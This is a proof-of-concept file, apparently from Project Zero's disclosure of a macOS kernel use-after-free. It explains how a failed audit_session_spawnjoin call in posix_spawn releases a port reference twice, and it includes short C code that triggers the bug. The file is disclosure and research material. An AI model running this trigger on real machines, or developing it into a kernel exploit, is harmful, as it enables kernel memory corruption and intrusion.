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/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1104 exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn. It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS) For the special, exception and audit ports it tries to update the new task to reflect the port action by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if any of those calls fail it calls ipc_port_release_send(port). task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't an audit session port. This means we can cause two references to be dropped on the port when only one is held leading to a use after free in the kernel. Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2 */ // ianbeer #if 0 MacOS/iOS kernel uaf due to double-release in posix_spawn exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn. It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS) For the special, exception and audit ports it tries to update the new task to reflect the port action by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if any of those calls fail it calls ipc_port_release_send(port). task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't an audit session port. This means we can cause two references to be dropped on the port when only one is held leading to a use after free in the kernel. Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2 #endif #include <stdio.h> #include <stdlib.h> #include <spawn.h> #include <mach/mach.h> int main() { mach_port_t p = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); posix_spawnattr_t attrs; posix_spawnattr_init(&attrs); posix_spawnattr_setauditsessionport_np(&attrs,p); char* _argv[] = {"/usr/bin/id", NULL}; int child_pid = 0; int spawn_err = posix_spawn(&child_pid, "/usr/bin/id", NULL, // file actions &attrs, _argv, NULL); } |
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